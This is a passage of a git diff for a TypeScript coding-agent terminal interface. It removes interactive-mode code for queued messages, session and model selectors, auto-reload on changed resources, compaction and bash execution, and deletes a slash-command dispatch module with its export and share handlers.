this.getAllQueuedMessages(); - if (steeringMessages.length > 0 || followUpMessages.length > 0) { - this.pendingMessagesContainer.addChild(new Spacer(1)); - for (const message of steeringMessages) { - const text = theme.fg("dim", `Steering: ${message}`); - this.pendingMessagesContainer.addChild(new TruncatedText(text, 1, 0)); - } - for (const message of followUpMessages) { - const text = theme.fg("dim", `Follow-up: ${message}`); - this.pendingMessagesContainer.addChild(new TruncatedText(text, 1, 0)); - } - const dequeueHint = getAppKeyDisplay(this.keybindings, "dequeue"); - const hintText = theme.fg( - "dim", - `↳ ${dequeueHint} to edit all queued messages`, - ); - this.pendingMessagesContainer.addChild(new TruncatedText(hintText, 1, 0)); - } - } - - private restoreQueuedMessagesToEditor(options?: { - abort?: boolean; - currentText?: string; - }): number { - const { steering, followUp } = this.clearAllQueues(); - const allQueued = [...steering, ...followUp]; - if (allQueued.length === 0) { - this.updatePendingMessagesDisplay(); - if (options?.abort) { - this.agent.abort(); - } - return 0; - } - const queuedText = allQueued.join("\n\n"); - const currentText = options?.currentText ?? this.editor.getText(); - const combinedText = [queuedText, currentText] - .filter((t) => t.trim()) - .join("\n\n"); - this.editor.setText(combinedText); - this.updatePendingMessagesDisplay(); - if (options?.abort) { - this.agent.abort(); - } - return allQueued.length; - } - - private queueCompactionMessage( - text: string, - mode: "steer" | "followUp", - ): void { - if (text.startsWith("/") && !this.isKnownSlashCommand(text)) { - const command = text.split(/\s/)[0]; - this.showError( - `Unknown command: ${command}. Use slash autocomplete to see available commands.`, - ); - return; - } - - this.compactionQueuedMessages.push({ text, mode }); - this.editor.addToHistory?.(text); - this.editor.setText(""); - this.updatePendingMessagesDisplay(); - this.showStatus("Queued message for after compaction"); - } - - private isExtensionCommand(text: string): boolean { - if (!text.startsWith("/")) return false; - - const extensionRunner = this.session.extensionRunner; - if (!extensionRunner) return false; - - const spaceIndex = text.indexOf(" "); - const commandName = - spaceIndex === -1 ? text.slice(1) : text.slice(1, spaceIndex); - return !!extensionRunner.getCommand(commandName); - } - - private isKnownSlashCommand(text: string): boolean { - if (!text.startsWith("/")) return false; - - const spaceIndex = text.indexOf(" "); - const commandName = - spaceIndex === -1 ? text.slice(1) : text.slice(1, spaceIndex); - - if ( - BUILTIN_SLASH_COMMANDS.some((command) => command.name === commandName) - ) { - return true; - } - - if (this.isExtensionCommand(text)) { - return true; - } - - if ( - this.session.promptTemplates.some( - (template) => template.name === commandName, - ) - ) { - return true; - } - - if ( - commandName.startsWith("skill:") && - this.settingsManager.getEnableSkillCommands() - ) { - const skillName = commandName.slice("skill:".length); - return this.session.resourceLoader - .getSkills() - .skills.some((skill) => skill.name === skillName); - } - - return false; - } - - private async flushCompactionQueue(options?: { - willRetry?: boolean; - }): Promise { - if (this.compactionQueuedMessages.length === 0) { - return; - } - - const queuedMessages = [...this.compactionQueuedMessages]; - this.compactionQueuedMessages = []; - this.updatePendingMessagesDisplay(); - - const restoreQueue = (error: unknown) => { - this.session.clearQueue(); - this.compactionQueuedMessages = queuedMessages; - this.updatePendingMessagesDisplay(); - this.showError( - `Failed to send queued message${queuedMessages.length > 1 ? "s" : ""}: ${ - error instanceof Error ? error.message : String(error) - }`, - ); - }; - - try { - if (options?.willRetry) { - // When retry is pending, queue messages for the retry turn - for (const message of queuedMessages) { - if (this.isExtensionCommand(message.text)) { - await this.session.prompt(message.text); - } else if (message.mode === "followUp") { - await this.session.followUp(message.text); - } else { - await this.session.steer(message.text); - } - } - this.updatePendingMessagesDisplay(); - return; - } - - // Find first non-extension-command message to use as prompt - const firstPromptIndex = queuedMessages.findIndex( - (message) => !this.isExtensionCommand(message.text), - ); - if (firstPromptIndex === -1) { - // All extension commands - execute them all - for (const message of queuedMessages) { - await this.session.prompt(message.text); - } - return; - } - - // Execute any extension commands before the first prompt - const preCommands = queuedMessages.slice(0, firstPromptIndex); - const firstPrompt = queuedMessages[firstPromptIndex]; - const rest = queuedMessages.slice(firstPromptIndex + 1); - - for (const message of preCommands) { - await this.session.prompt(message.text); - } - - // Send first prompt (starts streaming) - const promptPromise = this.session - .prompt(firstPrompt.text) - .catch((error) => { - restoreQueue(error); - }); - - // Queue remaining messages - for (const message of rest) { - if (this.isExtensionCommand(message.text)) { - await this.session.prompt(message.text); - } else if (message.mode === "followUp") { - await this.session.followUp(message.text); - } else { - await this.session.steer(message.text); - } - } - this.updatePendingMessagesDisplay(); - void promptPromise; - } catch (error) { - restoreQueue(error); - } - } - - // ========================================================================= - // Selectors - // ========================================================================= - - /** - * Shows a selector component in place of the editor. - * @param create Factory that receives a `done` callback and returns the component and focus target - */ - private showSelector( - create: (done: () => void) => { component: Component; focus: Component }, - ): void { - const done = () => { - this.editorContainer.clear(); - this.editorContainer.addChild(this.editor); - this.ui.setFocus(this.editor); - }; - const { component, focus } = create(done); - this.editorContainer.clear(); - this.editorContainer.addChild(component); - this.ui.setFocus(focus); - this.ui.requestRender(); - } - - /** Update the footer's available provider count from current model candidates */ - private async updateAvailableProviderCount(): Promise { - await updateAvailableProviderCountController(this); - } - - private showModelSelector(initialSearchInput?: string): void { - this.showSelector((done) => { - const selector = new ModelSelectorComponent( - this.ui, - this.session.model, - this.settingsManager, - this.session.modelRegistry, - this.session.scopedModels, - async (model) => { - try { - await this.session.setModel(model); - this.footer.invalidate(); - this.updateEditorBorderColor(); - done(); - this.showStatus(`Model: ${model.id}`); - this.checkDaxnutsEasterEgg(model); - } catch (error) { - done(); - this.showError( - error instanceof Error ? error.message : String(error), - ); - } - }, - () => { - done(); - this.ui.requestRender(); - }, - () => { - void this.updateAvailableProviderCount(); - this.footer.invalidate(); - }, - initialSearchInput, - ); - return { component: selector, focus: selector }; - }); - } - - private showUserMessageSelector(): void { - const userMessages = this.session.getUserMessagesForForking(); - - if (userMessages.length === 0) { - this.showStatus("No messages to fork from"); - return; - } - - this.showSelector((done) => { - const selector = new UserMessageSelectorComponent( - userMessages.map((m) => ({ id: m.entryId, text: m.text })), - async (entryId) => { - const result = await this.session.fork(entryId); - if (result.cancelled) { - // Extension cancelled the fork - done(); - this.ui.requestRender(); - return; - } - - this.chatContainer.clear(); - this.renderInitialMessages(); - this.editor.setText(result.selectedText); - done(); - this.showStatus("Branched to new session"); - }, - () => { - done(); - this.ui.requestRender(); - }, - ); - return { component: selector, focus: selector.getMessageList() }; - }); - } - - private showTreeSelector(initialSelectedId?: string): void { - const tree = this.sessionManager.getTree(); - const realLeafId = this.sessionManager.getLeafId(); - const initialFilterMode = this.settingsManager.getTreeFilterMode(); - - if (tree.length === 0) { - this.showStatus("No entries in session"); - return; - } - - this.showSelector((done) => { - const selector = new TreeSelectorComponent( - tree, - realLeafId, - this.ui.terminal.rows, - async (entryId) => { - // Selecting the current leaf is a no-op (already there) - if (entryId === realLeafId) { - done(); - this.showStatus("Already at this point"); - return; - } - - // Ask about summarization - done(); // Close selector first - - // Loop until user makes a complete choice or cancels to tree - let wantsSummary = false; - let customInstructions: string | undefined; - - // Check if we should skip the prompt (user preference to always default to no summary) - if (!this.settingsManager.getBranchSummarySkipPrompt()) { - while (true) { - const summaryChoice = await this.showExtensionSelector( - "Summarize branch?", - ["No summary", "Summarize", "Summarize with custom prompt"], - ); - - if (summaryChoice === undefined) { - // User pressed escape - re-show tree selector with same selection - this.showTreeSelector(entryId); - return; - } - - wantsSummary = summaryChoice !== "No summary"; - - if (summaryChoice === "Summarize with custom prompt") { - customInstructions = await this.showExtensionEditor( - "Custom summarization instructions", - ); - if (customInstructions === undefined) { - // User cancelled - loop back to summary selector - continue; - } - } - - // User made a complete choice - break; - } - } - - // Set up escape handler and loader if summarizing - let summaryLoader: Loader | undefined; - const originalOnEscape = this.defaultEditor.onEscape; - - if (wantsSummary) { - this.defaultEditor.onEscape = () => { - this.session.abortBranchSummary(); - }; - this.chatContainer.addChild(new Spacer(1)); - summaryLoader = new Loader( - this.ui, - (spinner) => theme.fg("accent", spinner), - (text) => theme.fg("muted", text), - `Summarizing branch... (${appKey(this.keybindings, "interrupt")} to cancel)`, - ); - this.statusContainer.addChild(summaryLoader); - this.ui.requestRender(); - } - - try { - const result = await this.session.navigateTree(entryId, { - summarize: wantsSummary, - customInstructions, - }); - - if (result.aborted) { - // Summarization aborted - re-show tree selector with same selection - this.showStatus("Branch summarization cancelled"); - this.showTreeSelector(entryId); - return; - } - if (result.cancelled) { - this.showStatus("Navigation cancelled"); - return; - } - - // Update UI - this.chatContainer.clear(); - this.renderInitialMessages(); - if (result.editorText && !this.editor.getText().trim()) { - this.editor.setText(result.editorText); - } - this.showStatus("Navigated to selected point"); - } catch (error) { - this.showError( - error instanceof Error ? error.message : String(error), - ); - } finally { - if (summaryLoader) { - summaryLoader.stop(); - this.statusContainer.clear(); - } - this.defaultEditor.onEscape = originalOnEscape; - } - }, - () => { - done(); - this.ui.requestRender(); - }, - (entryId, label) => { - this.sessionManager.appendLabelChange(entryId, label); - this.ui.requestRender(); - }, - initialSelectedId, - initialFilterMode, - ); - return { component: selector, focus: selector }; - }); - } - - private showSessionSelector(): void { - this.showSelector((done) => { - const selector = new SessionSelectorComponent( - (onProgress) => - SessionManager.list( - this.sessionManager.getCwd(), - this.sessionManager.getSessionDir(), - onProgress, - ), - SessionManager.listAll, - async (sessionPath) => { - done(); - await this.handleResumeSession(sessionPath); - }, - () => { - done(); - this.ui.requestRender(); - }, - () => { - void this.shutdown(); - }, - () => this.ui.requestRender(), - { - renameSession: async ( - sessionFilePath: string, - nextName: string | undefined, - ) => { - const next = (nextName ?? "").trim(); - if (!next) return; - const mgr = SessionManager.open(sessionFilePath); - mgr.appendSessionInfo(next); - }, - showRenameHint: true, - keybindings: this.keybindings, - }, - - this.sessionManager.getSessionFile(), - ); - return { component: selector, focus: selector }; - }); - } - - private async handleResumeSession(sessionPath: string): Promise { - // Stop loading animation - if (this.loadingAnimation) { - this.loadingAnimation.stop(); - this.loadingAnimation = undefined; - } - this.statusContainer.clear(); - - // Clear UI state - this.pendingMessagesContainer.clear(); - this.compactionQueuedMessages = []; - this.streamingComponent = undefined; - this.streamingMessage = undefined; - this.pendingTools.clear(); - - // Switch session via AgentSession (emits extension session events) - await this.session.switchSession(sessionPath); - - // Clear and re-render the chat - this.chatContainer.clear(); - this.renderInitialMessages(); - - if (this.session.sessionManager.wasInterrupted()) { - this.showStatus( - "Resumed session (previous session ended unexpectedly — last action may be incomplete)", - ); - } else { - this.showStatus("Resumed session"); - } - } - - // ========================================================================= - // Command handlers - // ========================================================================= - - /** - * Start polling loaded runtime resources for self-improvement changes. - * - * Purpose: make the TUI pick up SF's own code/resource fixes as soon as it - * is idle, instead of requiring a human to type `/reload` after an agent - * updates extensions, skills, prompts, themes, or restart-sensitive runtime - * modules. - * - * Consumer: initialize() after extension and branch watchers are installed. - */ - private startAutoReloadWatcher(): void { - if (process.env.SF_TUI_AUTORELOAD === "0") return; - if (this.autoReloadTimer) return; - - this.refreshAutoReloadResourceFingerprint(); - this.autoReloadTimer = setInterval(() => { - void this.checkAutoReload(); - }, AUTO_RELOAD_INTERVAL_MS); - this.autoReloadTimer.unref?.(); - } - - /** - * Stop the TUI autoreload watcher. - * - * Purpose: avoid a background interval keeping the process alive or firing - * after the UI has been stopped during shutdown/reload. - * - * Consumer: stop(). - */ - private stopAutoReloadWatcher(): void { - if (!this.autoReloadTimer) return; - clearInterval(this.autoReloadTimer); - this.autoReloadTimer = undefined; - } - - /** - * Snapshot the currently loaded extension/skill/prompt/theme resources. - * - * Purpose: establish the post-load baseline used to tell whether a future - * self-improvement changed the runtime resources that `/reload` would refresh. - * - * Consumer: startAutoReloadWatcher(), handleReloadCommand(). - */ - private refreshAutoReloadResourceFingerprint(): void { - this.resourceReloadFingerprint = computeInteractiveResourceFingerprint( - this.session.resourceLoader.getPathMetadata().keys(), - ); - } - - /** - * Check whether runtime or resource files changed and reload when idle. - * - * Purpose: turn self-improvement writes into an automatic reload/restart as - * soon as the TUI can safely do it, while avoiding interruption during an - * active model stream or compaction. - * - * Consumer: startAutoReloadWatcher() interval callback. - */ - private async checkAutoReload(): Promise { - if (this.autoReloadInProgress) return; - - const runtimeChanged = - computeInteractiveRuntimeFingerprint() !== this.processRestartFingerprint; - const resourceFingerprint = computeInteractiveResourceFingerprint( - this.session.resourceLoader.getPathMetadata().keys(), - ); - const resourcesChanged = - this.resourceReloadFingerprint !== undefined && - resourceFingerprint !== this.resourceReloadFingerprint; - - if (!runtimeChanged && !resourcesChanged && !this.autoReloadPendingReason) { - return; - } - - const reason = - this.autoReloadPendingReason ?? - (runtimeChanged - ? "runtime changed on disk" - : "resources changed on disk"); - if (this.session.isStreaming || this.session.isCompacting) { - this.autoReloadPendingReason = reason; - return; - } - - this.autoReloadInProgress = true; - this.autoReloadPendingReason = undefined; - try { - this.showStatus(`Auto-reload: ${reason}; reloading SF...`); - this.ui.requestRender(); - await this.handleReloadCommand(); - this.refreshAutoReloadResourceFingerprint(); - } catch (error) { - const message = error instanceof Error ? error.message : String(error); - this.showWarning(`Auto-reload failed: ${message}`); - } finally { - this.autoReloadInProgress = false; - } - } - - private async handleReloadCommand(): Promise { - if (this.session.isStreaming) { - this.showWarning( - "Wait for the current response to finish before reloading.", - ); - return; - } - if (this.session.isCompacting) { - this.showWarning("Wait for compaction to finish before reloading."); - return; - } - - const currentFingerprint = computeInteractiveRuntimeFingerprint(); - if (currentFingerprint !== this.processRestartFingerprint) { - this.showStatus( - "Runtime changed on disk; restarting SF and resuming this session...", - ); - this.ui.requestRender(); - process.exit(INTERACTIVE_RELOAD_EXIT_CODE); - } - - this.resetExtensionUI(); - - const loader = new BorderedLoader( - this.ui, - theme, - "Reloading extensions, skills, prompts, themes...", - { - cancellable: false, - }, - ); - const previousEditor = this.editor; - this.editorContainer.clear(); - this.editorContainer.addChild(loader); - this.ui.setFocus(loader); - this.ui.requestRender(); - - const dismissLoader = (editor: Component) => { - loader.dispose(); - this.editorContainer.clear(); - this.editorContainer.addChild(editor); - this.ui.setFocus(editor); - this.ui.requestRender(); - }; - - try { - await this.session.reload(); - this.refreshAutoReloadResourceFingerprint(); - setRegisteredThemes(this.session.resourceLoader.getThemes().themes); - this.hideThinkingBlock = this.settingsManager.getHideThinkingBlock(); - const themeName = this.settingsManager.getTheme(); - const themeResult = themeName - ? setTheme(themeName, true) - : { success: true }; - if (!themeResult.success) { - this.showError( - `Failed to load theme "${themeName}": ${themeResult.error}\nFell back to dark theme.`, - ); - } - const editorPaddingX = this.settingsManager.getEditorPaddingX(); - const autocompleteMaxVisible = - this.settingsManager.getAutocompleteMaxVisible(); - this.defaultEditor.setPaddingX(editorPaddingX); - this.defaultEditor.setAutocompleteMaxVisible(autocompleteMaxVisible); - if (this.editor !== this.defaultEditor) { - this.editor.setPaddingX?.(editorPaddingX); - this.editor.setAutocompleteMaxVisible?.(autocompleteMaxVisible); - } - this.ui.setShowHardwareCursor( - this.settingsManager.getShowHardwareCursor(), - ); - this.ui.setClearOnShrink(this.settingsManager.getClearOnShrink()); - this.setupAutocomplete(); - const runner = this.session.extensionRunner; - if (runner) { - this.setupExtensionShortcuts(runner); - } - this.rebuildChatFromMessages(); - dismissLoader(this.editor as Component); - this.showLoadedResources({ - extensionPaths: runner?.getExtensionPaths() ?? [], - force: false, - showDiagnosticsWhenQuiet: true, - }); - const modelsJsonError = this.session.modelRegistry.getError(); - if (modelsJsonError) { - this.showError(`models.json error: ${modelsJsonError}`); - } - this.showStatus("Reloaded extensions, skills, prompts, themes"); - } catch (error) { - dismissLoader(previousEditor as Component); - this.showError( - `Reload failed: ${error instanceof Error ? error.message : String(error)}`, - ); - } - } - - private async handleClearCommand(): Promise { - // Stop loading animation - if (this.loadingAnimation) { - this.loadingAnimation.stop(); - this.loadingAnimation = undefined; - } - this.statusContainer.clear(); - - // New session via session (emits extension session events) - await this.session.newSession(); - - // Clear UI state - this.headerContainer.clear(); - this.chatContainer.clear(); - this.pendingMessagesContainer.clear(); - this.compactionQueuedMessages = []; - this.streamingComponent = undefined; - this.streamingMessage = undefined; - this.pendingTools.clear(); - - // Reset contextual tips for the new session - this.contextualTips.reset(); - - this.chatContainer.addChild(new Spacer(1)); - this.chatContainer.addChild( - new Text(`${theme.fg("accent", "✓ New session started")}`, 1, 1), - ); - this.ui.requestRender(); - } - - private handleDebugCommand(): void { - const width = this.ui.terminal.columns; - const height = this.ui.terminal.rows; - const allLines = this.ui.render(width); - - const debugLogPath = getDebugLogPath(); - const debugData = [ - `Debug output at ${new Date().toISOString()}`, - `Terminal: ${width}x${height}`, - `Total lines: ${allLines.length}`, - "", - "=== All rendered lines with visible widths ===", - ...allLines.map((line, idx) => { - const vw = visibleWidth(line); - const escaped = JSON.stringify(line); - return `[${idx}] (w=${vw}) ${escaped}`; - }), - "", - "=== Agent messages (JSONL) ===", - ...this.session.messages.map((msg) => JSON.stringify(msg)), - "", - ].join("\n"); - - fs.mkdirSync(path.dirname(debugLogPath), { recursive: true }); - fs.writeFileSync(debugLogPath, debugData); - - this.chatContainer.addChild(new Spacer(1)); - this.chatContainer.addChild( - new Text( - `${theme.fg("accent", "✓ Debug log written")}\n${theme.fg("muted", debugLogPath)}`, - 1, - 1, - ), - ); - this.ui.requestRender(); - } - - private handleDaxnuts(): void { - this.chatContainer.addChild(new Spacer(1)); - this.chatContainer.addChild(new DaxnutsComponent(this.ui)); - this.ui.requestRender(); - } - - private checkDaxnutsEasterEgg(model: { provider: string; id: string }): void { - if ( - model.provider === "opencode" && - model.id.toLowerCase().includes("kimi-k2.5") - ) { - this.handleDaxnuts(); - } - } - - private async handleBashCommand( - command: string, - excludeFromContext = false, - displayCommand?: string, - loginShell?: boolean, - ): Promise { - const extensionRunner = this.session.extensionRunner; - const label = displayCommand || command; - const eventResult = extensionRunner - ? await extensionRunner.emitUserBash({ - type: "user_bash", - command, - excludeFromContext, - cwd: process.cwd(), - }) - : undefined; - - this.bashComponent = new BashExecutionComponent( - label, - this.ui, - excludeFromContext, - ); - if (this.session.isStreaming) { - this.pendingMessagesContainer.addChild(this.bashComponent); - this.pendingBashComponents.push(this.bashComponent); - } else { - this.chatContainer.addChild(this.bashComponent); - } - - const interceptedResult = eventResult?.result; - if (interceptedResult) { - if (interceptedResult.output) { - this.bashComponent.appendOutput(interceptedResult.output); - } - this.bashComponent.setComplete( - interceptedResult.exitCode, - interceptedResult.cancelled, - interceptedResult.truncated - ? ({ - truncated: true, - content: interceptedResult.output, - } as TruncationResult) - : undefined, - interceptedResult.fullOutputPath, - ); - this.session.recordBashResult(command, interceptedResult, { - excludeFromContext, - }); - this.bashComponent = undefined; - this.ui.requestRender(); - return; - } - - this.ui.requestRender(); - try { - const result = await this.session.executeBash( - command, - (chunk) => { - this.bashComponent?.appendOutput(chunk); - this.ui.requestRender(); - }, - { - excludeFromContext, - operations: eventResult?.operations, - loginShell, - }, - ); - this.bashComponent?.setComplete( - result.exitCode, - result.cancelled, - result.truncated - ? ({ truncated: true, content: result.output } as TruncationResult) - : undefined, - result.fullOutputPath, - ); - } catch (error) { - this.bashComponent?.setComplete(undefined, false); - this.showError( - `Bash command failed: ${ - error instanceof Error ? error.message : "Unknown error" - }`, - ); - } - - this.bashComponent = undefined; - this.ui.requestRender(); - } - - private async executeCompaction( - customInstructions?: string, - isAuto = false, - ): Promise { - // Stop loading animation - if (this.loadingAnimation) { - this.loadingAnimation.stop(); - this.loadingAnimation = undefined; - } - this.statusContainer.clear(); - - // Set up escape handler during compaction - const originalOnEscape = this.defaultEditor.onEscape; - this.defaultEditor.onEscape = () => { - this.session.abortCompaction(); - }; - - // Show compacting status - this.chatContainer.addChild(new Spacer(1)); - const cancelHint = `(${appKey(this.keybindings, "interrupt")} to cancel)`; - const label = isAuto - ? `Auto-compacting context... ${cancelHint}` - : `Compacting context... ${cancelHint}`; - const compactingLoader = new Loader( - this.ui, - (spinner) => theme.fg("accent", spinner), - (text) => theme.fg("muted", text), - label, - ); - this.statusContainer.addChild(compactingLoader); - this.ui.requestRender(); - - let result: CompactionResult | undefined; - - try { - result = await this.session.compact(customInstructions); - - // Rebuild UI - this.rebuildChatFromMessages(); - - // Add compaction component at bottom so user sees it without scrolling - const msg = createCompactionSummaryMessage( - result.summary, - result.tokensBefore, - new Date().toISOString(), - ); - this.addMessageToChat(msg); - - this.footer.invalidate(); - } catch (error) { - const message = error instanceof Error ? error.message : String(error); - if ( - message === "Compaction cancelled" || - (error instanceof Error && error.name === "AbortError") - ) { - this.showError("Compaction cancelled"); - } else { - this.showError(`Compaction failed: ${message}`); - } - } finally { - compactingLoader.stop(); - this.statusContainer.clear(); - this.defaultEditor.onEscape = originalOnEscape; - } - void this.flushCompactionQueue({ willRetry: false }); - return result; - } - - requestRender(force = false): void { - if (!this.isInitialized) return; - this.ui.requestRender(force); - } - - stop(): void { - this.unregisterSignalHandlers(); - if (this.loadingAnimation) { - this.loadingAnimation.stop(); - this.loadingAnimation = undefined; - } - this.clearExtensionTerminalInputListeners(); - - // Clean up branch change listener (Fix 1) - this._branchChangeUnsub?.(); - this._branchChangeUnsub = undefined; - this.stopAutoReloadWatcher(); - - // Clean up theme change listener and watcher (Fix 2) - onThemeChange(() => {}); - stopThemeWatcher(); - - // Resolve any pending getUserInput promise so the run() loop can exit (Fix 3) - if (this.onInputCallback) { - this.onInputCallback(""); - this.onInputCallback = undefined; - } - - // Dispose extension widgets, custom footer, and custom header (Fix 4) - this.clearExtensionWidgets(); - if (this.customFooter?.dispose) { - this.customFooter.dispose(); - } - this.customFooter = undefined; - if (this.customHeader?.dispose) { - this.customHeader.dispose(); - } - this.customHeader = undefined; - this.autocompleteProvider = undefined; - - this.footer.dispose(); - this.footerDataProvider.dispose(); - if (this.unsubscribe) { - this.unsubscribe(); - } - if (this.isInitialized) { - this.ui.stop(); - this.isInitialized = false; - } - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/slash-command-handlers.ts b/packages/pi-coding-agent/src/modes/interactive/slash-command-handlers.ts deleted file mode 100644 index 3d88665bd..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/slash-command-handlers.ts +++ /dev/null @@ -1,780 +0,0 @@ -/** - * Slash command dispatch and handler implementations extracted from InteractiveMode. - * - * The `dispatchSlashCommand` function contains the dispatch logic (routing text - * to handlers), and individual handler functions implement each command. - * - * Handlers that are also invoked from keybindings or other subsystems remain on - * InteractiveMode and are called through the `SlashCommandContext` interface. - */ - -import { spawn, spawnSync } from "node:child_process"; -import * as fs from "node:fs"; -import * as os from "node:os"; -import * as path from "node:path"; -import type { ThinkingLevel } from "@singularity-forge/pi-agent-core"; -import type { - EditorAction, - EditorComponent, - MarkdownTheme, - TUI, -} from "@singularity-forge/pi-tui"; -import { - type Component, - type Container, - Markdown, - Spacer, - Text, -} from "@singularity-forge/pi-tui"; -import { getShareViewerUrl } from "../../config.js"; -import type { AgentSession } from "../../core/agent-session.js"; -import type { AppAction, KeybindingsManager } from "../../core/keybindings.js"; -import type { SessionManager } from "../../core/session-manager.js"; -import type { SettingsManager } from "../../core/settings-manager.js"; -import { getChangelogPath, parseChangelog } from "../../utils/changelog.js"; -import { copyToClipboard } from "../../utils/clipboard.js"; -import { ArminComponent } from "./components/armin.js"; -import { BorderedLoader } from "./components/bordered-loader.js"; -import { DynamicBorder } from "./components/dynamic-border.js"; -import { - appKey, - editorKey, - formatKeyForDisplay, -} from "./components/keybinding-hints.js"; -import { - SelectSubmenu, - THINKING_DESCRIPTIONS, -} from "./components/settings-selector.js"; -import { theme } from "./theme/theme.js"; - -// --------------------------------------------------------------------------- -// Context interface — the subset of InteractiveMode needed by slash commands -// --------------------------------------------------------------------------- - -/** - * Provides slash command handlers with access to the parts of InteractiveMode - * they need without coupling them to the entire class. - */ -export interface SlashCommandContext { - // Core objects - readonly session: AgentSession; - readonly ui: TUI; - readonly keybindings: KeybindingsManager; - - // Containers - readonly chatContainer: Container; - readonly statusContainer: Container; - readonly editorContainer: Container; - readonly headerContainer: Container; - readonly pendingMessagesContainer: Container; - - // Editor - readonly editor: EditorComponent; - readonly defaultEditor: EditorComponent & { - onEscape?: () => void; - }; - - // Accessors - readonly sessionManager: SessionManager; - readonly settingsManager: SettingsManager; - - // Footer - invalidateFooter(): void; - - // UI helpers - showStatus(message: string): void; - showError(message: string): void; - showWarning(message: string): void; - showSelector( - create: (done: () => void) => { component: Component; focus: Component }, - ): void; - updateEditorBorderColor(): void; - getMarkdownThemeWithSettings(): MarkdownTheme; - requestRender(): void; - - updateTerminalTitle(): void; - - // Methods that stay on InteractiveMode (called from both dispatch and keybindings/events) - showSettingsSelector(): void; - showModelsSelector(): Promise; - handleModelCommand(searchTerm?: string): Promise; - showUserMessageSelector(): void; - showTreeSelector(): void; - showProviderManager(): void; - showOAuthSelector(mode: "login" | "logout"): Promise; - showSessionSelector(): void; - handleClearCommand(): Promise; - handleReloadCommand(): Promise; - handleDebugCommand(): void; - shutdown(): Promise; - - // For compaction - executeCompaction( - customInstructions?: string, - isAuto?: boolean, - ): Promise; - - // Bash execution - handleBashCommand( - command: string, - options?: { - excludeFromContext?: boolean; - displayCommand?: string; - loginShell?: boolean; - }, - ): Promise; -} - -// --------------------------------------------------------------------------- -// Dispatch -// --------------------------------------------------------------------------- - -/** - * Routes a slash command string to the appropriate handler. - * - * @returns `true` if the text was handled as a slash command (caller should - * not process it further), `false` otherwise. - */ -export async function dispatchSlashCommand( - text: string, - ctx: SlashCommandContext, -): Promise { - if (text === "/settings") { - ctx.showSettingsSelector(); - return true; - } - if (text === "/scoped-models") { - await ctx.showModelsSelector(); - return true; - } - if (text === "/model" || text.startsWith("/model ")) { - const searchTerm = text.startsWith("/model ") - ? text.slice(7).trim() - : undefined; - await ctx.handleModelCommand(searchTerm); - return true; - } - if (text === "/export" || text.startsWith("/export ")) { - await handleExportCommand(text, ctx); - return true; - } - if (text === "/share") { - await handleShareCommand(ctx); - return true; - } - if (text === "/copy") { - handleCopyCommand(ctx); - return true; - } - if (text === "/name" || text.startsWith("/name ")) { - handleNameCommand(text, ctx); - return true; - } - if (text === "/session") { - handleSessionCommand(ctx); - return true; - } - if (text === "/changelog") { - handleChangelogCommand(ctx); - return true; - } - if (text === "/hotkeys") { - handleHotkeysCommand(ctx); - return true; - } - if (text === "/fork") { - ctx.showUserMessageSelector(); - return true; - } - if (text === "/tree") { - ctx.showTreeSelector(); - return true; - } - if (text === "/provider") { - ctx.showProviderManager(); - return true; - } - if (text === "/login") { - await ctx.showOAuthSelector("login"); - return true; - } - if (text === "/logout") { - await ctx.showOAuthSelector("logout"); - return true; - } - if (text === "/new") { - await ctx.handleClearCommand(); - return true; - } - if (text === "/compact" || text.startsWith("/compact ")) { - const customInstructions = text.startsWith("/compact ") - ? text.slice(9).trim() - : undefined; - await handleCompactCommand(customInstructions, ctx); - return true; - } - if (text === "/reload") { - await ctx.handleReloadCommand(); - return true; - } - if (text === "/thinking" || text.startsWith("/thinking ")) { - const arg = text.startsWith("/thinking ") - ? text.slice(10).trim() - : undefined; - handleThinkingCommand(arg, ctx); - return true; - } - if (text === "/edit-mode" || text.startsWith("/edit-mode ")) { - const arg = text.startsWith("/edit-mode ") - ? text.slice(11).trim() - : undefined; - handleEditModeCommand(arg, ctx); - return true; - } - if (text === "/debug") { - ctx.handleDebugCommand(); - return true; - } - if (text === "/arminsayshi") { - handleArminSaysHi(ctx); - return true; - } - if (text === "/resume") { - ctx.showSessionSelector(); - return true; - } - if (text === "/exit") { - const extensionExit = ctx.session.extensionRunner?.getCommand("exit"); - if (extensionExit && ctx.session.extensionRunner) { - await extensionExit.handler( - "", - ctx.session.extensionRunner.createCommandContext(), - ); - } else { - await ctx.shutdown(); - } - return true; - } - if (text === "/quit") { - await ctx.shutdown(); - return true; - } - if (text === "/terminal" || text.startsWith("/terminal ")) { - const command = text.startsWith("/terminal ") ? text.slice(10).trim() : ""; - if (!command) { - ctx.showWarning( - "Usage: /terminal (e.g. /terminal ping -c3 1.1.1.1)", - ); - return true; - } - // Run in the user's login shell ($SHELL -l -c) so PATH additions - // and env vars from shell profiles (.zprofile/.profile) are available. - // Note: shell aliases are not loaded (requires -i which has side effects). - await ctx.handleBashCommand(command, { loginShell: true }); - return true; - } - if (text === "/stop") { - await ctx.session.abort(); - ctx.showStatus("Stopped current response."); - return true; - } - - return false; -} - -// --------------------------------------------------------------------------- -// Individual command handlers -// --------------------------------------------------------------------------- - -async function handleExportCommand( - text: string, - ctx: SlashCommandContext, -): Promise { - const parts = text.split(/\s+/); - const outputPath = parts.length > 1 ? parts[1] : undefined; - - try { - const filePath = await ctx.session.exportToHtml(outputPath); - ctx.showStatus(`Session exported to: ${filePath}`); - } catch (error: unknown) { - ctx.showError( - `Failed to export session: ${error instanceof Error ? error.message : "Unknown error"}`, - ); - } -} - -async function handleShareCommand(ctx: SlashCommandContext): Promise { - // Check if gh is available and logged in - try { - const authResult = spawnSync("gh", ["auth", "status"], { - encoding: "utf-8", - }); - if (authResult.status !== 0) { - ctx.showError("GitHub CLI is not logged in. Run 'gh auth login' first."); - return; - } - } catch { - ctx.showError( - "GitHub CLI (gh) is not installed. Install it from https://cli.github.com/", - ); - return; - } - - // Export to a temp file - const tmpFile = path.join(os.tmpdir(), "session.html"); - try { - await ctx.session.exportToHtml(tmpFile); - } catch (error: unknown) { - ctx.showError( - `Failed to export session: ${error instanceof Error ? error.message : "Unknown error"}`, - ); - return; - } - - // Show cancellable loader, replacing the editor - const loader = new BorderedLoader(ctx.ui, theme, "Creating gist..."); - ctx.editorContainer.clear(); - ctx.editorContainer.addChild(loader); - ctx.ui.setFocus(loader); - ctx.requestRender(); - - const restoreEditor = () => { - loader.dispose(); - ctx.editorContainer.clear(); - ctx.editorContainer.addChild(ctx.editor); - ctx.ui.setFocus(ctx.editor); - try { - 